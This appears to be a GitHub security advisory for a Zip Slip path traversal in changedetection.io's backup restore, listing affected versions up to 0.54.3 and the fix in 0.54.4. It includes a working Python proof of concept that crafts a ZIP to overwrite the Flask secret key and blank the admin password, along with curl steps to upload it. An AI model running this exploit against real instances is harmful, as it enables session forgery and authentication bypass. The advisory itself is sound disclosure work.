GHSA-25g8-2mcf-fcx9

Suggest an improvement
Source
https://github.com/advisories/GHSA-25g8-2mcf-fcx9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-25g8-2mcf-fcx9/GHSA-25g8-2mcf-fcx9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-25g8-2mcf-fcx9
Aliases
Published
2026-03-04T21:28:42Z
Modified
2026-07-13T07:26:44Z
Severity
  • 8.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
changedetection.io has Zip Slip vulnerability in the backup restore functionality
Details

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP Target File Impact
../secret.txt Flask secret key Session forgery, auth bypass
../changedetection.json App settings Disable password, inject backdoor
../url-watches.json Watch index Inject malicious watches
../{uuid}/watch.json Watch config Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y" 

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM
Database specific
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-04T21:28:42Z",
    "nvd_published_at":  "2026-03-06T07:16:02Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / changedetection-io

Package

Name
changedetection-io
View open source insights on deps.dev
Purl
pkg:pypi/changedetection-io

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.54.4

Affected versions

0.*
0.38.2
0.39
0.39.1
0.39.2
0.39.3
0.39.4
0.39.5
0.39.6
0.39.7
0.39.8
0.39.9
0.39.10
0.39.10.post1
0.39.10.post2
0.39.11
0.39.12
0.39.13
0.39.13.1
0.39.14
0.39.14.1
0.39.15
0.39.16
0.39.17
0.39.17.1
0.39.17.2
0.39.18
0.39.19
0.39.19.1
0.39.20
0.39.20.1
0.39.20.2
0.39.20.3
0.39.20.4
0.39.21
0.39.21.1
0.39.22
0.39.22.1
0.40.0
0.40.0.1
0.40.0.2
0.40.0.3
0.40.0.4
0.40.1.0
0.40.1.1
0.40.2
0.40.3
0.41
0.41.1
0.42
0.42.1
0.42.2
0.42.3
0.43.1
0.43.2
0.44
0.44.1
0.45
0.45.1
0.45.2
0.45.3
0.45.4
0.45.5
0.45.6
0.45.7
0.45.7.1
0.45.7.2
0.45.7.3
0.45.8
0.45.8.1
0.45.9
0.45.11
0.45.12
0.45.13
0.45.14
0.45.15
0.45.16
0.45.17
0.45.18
0.45.19
0.45.20
0.45.21
0.45.22
0.45.23
0.45.24
0.45.25
0.45.26
0.46.0
0.46.1
0.46.2
0.46.3
0.46.4
0.47.0
0.47.1
0.47.2
0.47.3
0.47.4
0.47.5
0.47.6
0.48.0
0.48.1
0.48.2
0.48.3
0.48.4
0.48.5
0.48.6
0.49.0
0.49.1
0.49.2
0.49.3
0.49.4
0.49.5
0.49.6
0.49.7
0.49.8
0.49.9
0.49.10
0.49.12
0.49.13
0.49.14
0.49.15
0.49.16
0.49.17
0.49.18
0.50.1
0.50.2
0.50.3
0.50.4
0.50.5
0.50.6
0.50.7
0.50.8
0.50.9
0.50.10
0.50.11
0.50.12
0.50.13
0.50.14
0.50.15
0.50.16
0.50.17
0.50.18
0.50.19
0.50.20
0.50.21
0.50.22
0.50.23
0.50.24
0.50.25
0.50.26
0.50.27
0.50.28
0.50.29
0.50.30
0.50.31
0.50.32
0.50.33
0.50.34
0.50.35
0.50.37
0.50.38
0.50.39
0.50.40
0.50.41
0.50.42
0.50.43
0.51.0
0.51.1
0.51.2
0.51.3
0.51.4
0.52.1
0.52.2
0.52.3
0.52.4
0.52.5
0.52.6
0.52.7
0.52.8
0.52.9
0.53.1
0.53.2
0.53.3
0.53.4
0.53.5
0.53.6
0.53.7
0.54.1
0.54.2
0.54.3

Database specific

last_known_affected_version_range
"<= 0.54.3"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-25g8-2mcf-fcx9/GHSA-25g8-2mcf-fcx9.json"